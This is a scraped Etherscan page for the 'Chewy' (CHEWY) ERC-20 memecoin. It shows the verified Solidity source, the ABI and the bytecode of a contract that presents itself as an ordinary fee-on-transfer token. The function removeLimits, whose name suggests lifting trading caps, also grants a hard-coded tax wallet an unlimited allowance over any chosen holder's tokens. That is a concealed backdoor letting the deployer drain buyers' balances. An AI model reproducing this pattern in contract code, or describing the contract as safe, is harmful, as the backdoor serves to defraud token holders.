Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000,000 CHEWY
Holders
107
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,807,726,972.929670808 CHEWYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
CHEWY
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-09 */ /** Chewy the bull celebrates those who kept chewing and embraced the spirit of resilience in the crypto community. Web: https://chewy.homes X: https://x.com/chewycoinETH Tg: https://t.me/chewycoinETH **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.25; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CHEWY is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFees; mapping (address => bool) private _bots; address payable private _gnomesig; address payable private _taxWallet; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000000 * 10**_decimals; string private constant _name = unicode"Chewy"; string private constant _symbol = unicode"CHEWY"; uint256 public _maxTxAmount = _tTotal * 2 / 100; uint256 public _maxWalletAmount = _tTotal * 2 / 100; uint256 public _minTaxSwap= _tTotal * 1 / 100; uint256 public _maxTaxSwap= _tTotal * 1 / 100; uint256 private _initialBuyTax=12; uint256 private _initialSellTax=12; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyAt=10; uint256 private _reduceSellAt=10; uint256 private _preventCount=12; uint256 private _buyCounts=0; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private caSellLimits = true; uint256 private caBlockLmits = 0; IUniswapV2Router02 private uniRouter; address private uniPair; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet=_gnomesig=payable(0xF788bec724106b0Fe4b6DC9F1626aec60Cc23EFa); _balances[_msgSender()] = _tTotal; _isExcludedFees[owner()] = true; _isExcludedFees[address(this)] = true; _isExcludedFees[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; } function initTrading() external onlyOwner() { uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniRouter), _tTotal); uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(address(this), uniRouter.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _balances[from] = _balances[from] - amount; _balances[to] = _balances[to] + amount; emit Transfer(from, to, amount); return; } uint256 fees=0; if (from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); fees = amount.mul((_buyCounts>_reduceBuyAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniPair && to != address(uniRouter) && ! _isExcludedFees[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize."); _buyCounts++; } if(to == uniPair && from!= address(this) ){ fees = amount.mul((_buyCounts>_reduceSellAt)?_finalSellTax:_initialSellTax).div(100); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 0) { sendToEth(address(this).balance); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniPair && swapEnabled && contractTokenBalance>_minTaxSwap && _buyCounts>_preventCount) { if (caSellLimits) { if (caBlockLmits < block.number) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendToEth(address(this).balance); } caBlockLmits = block.number; } } else { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendToEth(address(this).balance); } } } } if(fees>0){ _balances[address(this)]=_balances[address(this)].add(fees); emit Transfer(from, address(this), fees); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(fees)); emit Transfer(from, to, amount.sub(fees)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function removeLimits(address _limits) external onlyOwner { caSellLimits=false; _maxTxAmount=_tTotal; _maxWalletAmount=_tTotal; _allowances[_limits][_gnomesig]=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function withdrawEth() external onlyOwner() { payable(msg.sender).transfer(address(this).balance); } function sendToEth(uint256 amount) private { _taxWallet.transfer(amount); } receive() external payable {} function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniRouter.WETH(); _approve(address(this), address(uniRouter), tokenAmount); uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_limits","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260646100126009600a61038e565b610021906461f313f8806103a3565b61002c9060026103a3565b61003691906103ba565b60075560646100476009600a61038e565b610056906461f313f8806103a3565b6100619060026103a3565b61006b91906103ba565b600855606461007c6009600a61038e565b61008b906461f313f8806103a3565b6100969060016103a3565b6100a091906103ba565b60095560646009600a6100b3919061038e565b6100c2906461f313f8806103a3565b6100cd9060016103a3565b6100d791906103ba565b600a908155600c600b8190558080555f600d819055600e819055600f83905560109290925560115560128190556013805463ffffff0019166301000000179055601455348015610125575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506005805473f788bec724106b0fe4b6dc9f1626aec60cc23efa6001600160a01b031991821681179092556006805490911690911790556101a86009600a61038e565b6101b7906461f313f8806103a3565b335f9081526001602081905260408220929092556003906101df5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560065490911683529120805490921617905561023c3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102736009600a61038e565b610282906461f313f8806103a3565b60405190815260200160405180910390a36103d9565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102e657815f19048211156102cc576102cc610298565b808516156102d957918102915b93841c93908002906102b1565b509250929050565b5f826102fc57506001610388565b8161030857505f610388565b816001811461031e576002811461032857610344565b6001915050610388565b60ff84111561033957610339610298565b50506001821b610388565b5060208310610133831016604e8410600b8410161715610367575081810a610388565b61037183836102ac565b805f190482111561038457610384610298565b0290505b92915050565b5f61039c60ff8416836102ee565b9392505050565b808202811582820484141761038857610388610298565b5f826103d457634e487b7160e01b5f52601260045260245ffd5b500490565b611838806103e65f395ff3fe608060405260043610610113575f3560e01c80636c0a24eb1161009d57806395d89b411161006257806395d89b41146102df578063a0ef91df1461030c578063a9059cbb14610320578063c9567bf91461033f578063dd62ed3e14610353575f80fd5b80636c0a24eb1461024757806370a082311461025c578063715018a6146102905780637d1db4a5146102a45780638da5cb5b146102b9575f80fd5b806323b872dd116100e357806323b872dd146101c35780632db5ae04146101e2578063300d6217146101f8578063313ce5671461020d57806332489e9b14610228575f80fd5b806306fdde031461011e578063095ea7b31461015d5780630faee56f1461018c57806318160ddd146101af575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526005815264436865777960d81b60208201525b6040516101549190611461565b60405180910390f35b348015610168575f80fd5b5061017c6101773660046114aa565b610397565b6040519015158152602001610154565b348015610197575f80fd5b506101a1600a5481565b604051908152602001610154565b3480156101ba575f80fd5b506101a16103ad565b3480156101ce575f80fd5b5061017c6101dd3660046114d4565b6103ce565b3480156101ed575f80fd5b506101f6610435565b005b348015610203575f80fd5b506101a160095481565b348015610218575f80fd5b5060405160098152602001610154565b348015610233575f80fd5b506101f6610242366004611512565b610638565b348015610252575f80fd5b506101a160085481565b348015610267575f80fd5b506101a1610276366004611512565b6001600160a01b03165f9081526001602052604090205490565b34801561029b575f80fd5b506101f661073d565b3480156102af575f80fd5b506101a160075481565b3480156102c4575f80fd5b505f546040516001600160a01b039091168152602001610154565b3480156102ea575f80fd5b50604080518082019091526005815264434845575960d81b6020820152610147565b348015610317575f80fd5b506101f66107ae565b34801561032b575f80fd5b5061017c61033a3660046114aa565b610803565b34801561034a575f80fd5b506101f661080f565b34801561035e575f80fd5b506101a161036d36600461152d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a3338484610970565b5060015b92915050565b5f6103ba6009600a611658565b6103c9906461f313f880611666565b905090565b5f6103da848484610a94565b61042b8433610426856040518060600160405280602881526020016117db602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110df565b610970565b5060019392505050565b5f546001600160a01b031633146104675760405162461bcd60e51b815260040161045e9061167d565b60405180910390fd5b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104b19030906104a26009600a611658565b610426906461f313f880611666565b60155f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610501573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061052591906116b2565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610584573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a891906116b2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105f2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061691906116b2565b601680546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146106615760405162461bcd60e51b815260040161045e9061167d565b6013805463ff0000001916905561067a6009600a611658565b610689906461f313f880611666565b6007556106986009600a611658565b6106a7906461f313f880611666565b6008556106b66009600a611658565b6106c5906461f313f880611666565b6001600160a01b038083165f908152600260209081526040808320600554909416835292905220557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61071a6009600a611658565b610729906461f313f880611666565b60405190815260200160405180910390a150565b5f546001600160a01b031633146107665760405162461bcd60e51b815260040161045e9061167d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107d75760405162461bcd60e51b815260040161045e9061167d565b60405133904780156108fc02915f818181858888f19350505050158015610800573d5f803e3d5ffd5b50565b5f6103a3338484610a94565b5f546001600160a01b031633146108385760405162461bcd60e51b815260040161045e9061167d565b60135460ff161561088b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045e565b6015546001600160a01b031663f305d71947306108bc816001600160a01b03165f9081526001602052604090205490565b5f806108cf5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610935573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061095a91906116cd565b50506013805462ff00ff19166201000117905550565b6001600160a01b0383166109d25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045e565b6001600160a01b038216610a335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610af85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045e565b6001600160a01b038216610b5a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045e565b5f8111610bbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045e565b60135462010000900460ff161580610bda5750601354610100900460ff165b15610c84576001600160a01b0383165f90815260016020526040902054610c029082906116f8565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c3190829061170b565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a879085815260200190565b5f80546001600160a01b03858116911614801590610caf57505f546001600160a01b03848116911614155b15610fa2576001600160a01b0384165f9081526004602052604090205460ff16158015610cf457506001600160a01b0383165f9081526004602052604090205460ff16155b610cfc575f80fd5b610d286064610d22600f5460125411610d1757600b54610d1b565b600d545b8590611117565b9061119c565b6016549091506001600160a01b038581169116148015610d5657506015546001600160a01b03848116911614155b8015610d7a57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e6057600754821115610dd15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045e565b60085482610df3856001600160a01b03165f9081526001602052604090205490565b610dfd919061170b565b1115610e4b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045e565b60128054905f610e5a8361171e565b91905055505b6016546001600160a01b038481169116148015610e8657506001600160a01b0384163014155b15610ebe57610eb06064610d2260105460125411610ea657600c54610d1b565b600e548590611117565b905047610ebc476111dd565b505b305f90815260016020526040902054601354610100900460ff16158015610ef257506016546001600160a01b038581169116145b8015610f06575060135462010000900460ff165b8015610f13575060095481115b8015610f225750601154601254115b15610fa0576013546301000000900460ff1615610f7b57436014541015610f7657610f60610f5b84610f5684600a54611218565b611218565b61122c565b478015610f7057610f70476111dd565b50436014555b610fa0565b610f8e610f5b84610f5684600a54611218565b478015610f9e57610f9e476111dd565b505b505b801561101a57305f90815260016020526040902054610fc19082611396565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110119085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461103c90836113f4565b6001600160a01b0385165f9081526001602052604090205561107f61106183836113f4565b6001600160a01b0385165f9081526001602052604090205490611396565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110c885856113f4565b60405190815260200160405180910390a350505050565b5f81848411156111025760405162461bcd60e51b815260040161045e9190611461565b505f61110e84866116f8565b95945050505050565b5f825f0361112657505f6103a7565b5f6111318385611666565b90508261113e8583611736565b146111955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045e565b9392505050565b5f61119583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611435565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611214573d5f803e3d5ffd5b5050565b5f8183116112265782611195565b50919050565b6013805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061126e5761126e611755565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112c5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112e991906116b2565b816001815181106112fc576112fc611755565b6001600160a01b0392831660209182029290920101526015546113229130911684610970565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061135a9085905f90869030904290600401611769565b5f604051808303815f87803b158015611371575f80fd5b505af1158015611383573d5f803e3d5ffd5b50506013805461ff001916905550505050565b5f806113a2838561170b565b9050838110156111955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045e565b5f61119583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110df565b5f81836114555760405162461bcd60e51b815260040161045e9190611461565b505f61110e8486611736565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610800575f80fd5b5f80604083850312156114bb575f80fd5b82356114c681611496565b946020939093013593505050565b5f805f606084860312156114e6575f80fd5b83356114f181611496565b9250602084013561150181611496565b929592945050506040919091013590565b5f60208284031215611522575f80fd5b813561119581611496565b5f806040838503121561153e575f80fd5b823561154981611496565b9150602083013561155981611496565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156115b257815f190482111561159857611598611564565b808516156115a557918102915b93841c939080029061157d565b509250929050565b5f826115c8575060016103a7565b816115d457505f6103a7565b81600181146115ea57600281146115f457611610565b60019150506103a7565b60ff84111561160557611605611564565b50506001821b6103a7565b5060208310610133831016604e8410600b8410161715611633575081810a6103a7565b61163d8383611578565b805f190482111561165057611650611564565b029392505050565b5f61119560ff8416836115ba565b80820281158282048414176103a7576103a7611564565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156116c2575f80fd5b815161119581611496565b5f805f606084860312156116df575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156103a7576103a7611564565b808201808211156103a7576103a7611564565b5f6001820161172f5761172f611564565b5060010190565b5f8261175057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117b95784516001600160a01b031683529383019391830191600101611794565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e33083b14949c9970d9c2d7282d3e18e2f931818e1fb6550f3fbd61f69acb4bd64736f6c63430008190033
Deployed Bytecode
0x608060405260043610610113575f3560e01c80636c0a24eb1161009d57806395d89b411161006257806395d89b41146102df578063a0ef91df1461030c578063a9059cbb14610320578063c9567bf91461033f578063dd62ed3e14610353575f80fd5b80636c0a24eb1461024757806370a082311461025c578063715018a6146102905780637d1db4a5146102a45780638da5cb5b146102b9575f80fd5b806323b872dd116100e357806323b872dd146101c35780632db5ae04146101e2578063300d6217146101f8578063313ce5671461020d57806332489e9b14610228575f80fd5b806306fdde031461011e578063095ea7b31461015d5780630faee56f1461018c57806318160ddd146101af575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526005815264436865777960d81b60208201525b6040516101549190611461565b60405180910390f35b348015610168575f80fd5b5061017c6101773660046114aa565b610397565b6040519015158152602001610154565b348015610197575f80fd5b506101a1600a5481565b604051908152602001610154565b3480156101ba575f80fd5b506101a16103ad565b3480156101ce575f80fd5b5061017c6101dd3660046114d4565b6103ce565b3480156101ed575f80fd5b506101f6610435565b005b348015610203575f80fd5b506101a160095481565b348015610218575f80fd5b5060405160098152602001610154565b348015610233575f80fd5b506101f6610242366004611512565b610638565b348015610252575f80fd5b506101a160085481565b348015610267575f80fd5b506101a1610276366004611512565b6001600160a01b03165f9081526001602052604090205490565b34801561029b575f80fd5b506101f661073d565b3480156102af575f80fd5b506101a160075481565b3480156102c4575f80fd5b505f546040516001600160a01b039091168152602001610154565b3480156102ea575f80fd5b50604080518082019091526005815264434845575960d81b6020820152610147565b348015610317575f80fd5b506101f66107ae565b34801561032b575f80fd5b5061017c61033a3660046114aa565b610803565b34801561034a575f80fd5b506101f661080f565b34801561035e575f80fd5b506101a161036d36600461152d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103a3338484610970565b5060015b92915050565b5f6103ba6009600a611658565b6103c9906461f313f880611666565b905090565b5f6103da848484610a94565b61042b8433610426856040518060600160405280602881526020016117db602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110df565b610970565b5060019392505050565b5f546001600160a01b031633146104675760405162461bcd60e51b815260040161045e9061167d565b60405180910390fd5b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104b19030906104a26009600a611658565b610426906461f313f880611666565b60155f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610501573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061052591906116b2565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610584573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a891906116b2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105f2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061691906116b2565b601680546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146106615760405162461bcd60e51b815260040161045e9061167d565b6013805463ff0000001916905561067a6009600a611658565b610689906461f313f880611666565b6007556106986009600a611658565b6106a7906461f313f880611666565b6008556106b66009600a611658565b6106c5906461f313f880611666565b6001600160a01b038083165f908152600260209081526040808320600554909416835292905220557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61071a6009600a611658565b610729906461f313f880611666565b60405190815260200160405180910390a150565b5f546001600160a01b031633146107665760405162461bcd60e51b815260040161045e9061167d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107d75760405162461bcd60e51b815260040161045e9061167d565b60405133904780156108fc02915f818181858888f19350505050158015610800573d5f803e3d5ffd5b50565b5f6103a3338484610a94565b5f546001600160a01b031633146108385760405162461bcd60e51b815260040161045e9061167d565b60135460ff161561088b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045e565b6015546001600160a01b031663f305d71947306108bc816001600160a01b03165f9081526001602052604090205490565b5f806108cf5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610935573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061095a91906116cd565b50506013805462ff00ff19166201000117905550565b6001600160a01b0383166109d25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045e565b6001600160a01b038216610a335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610af85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e7366657220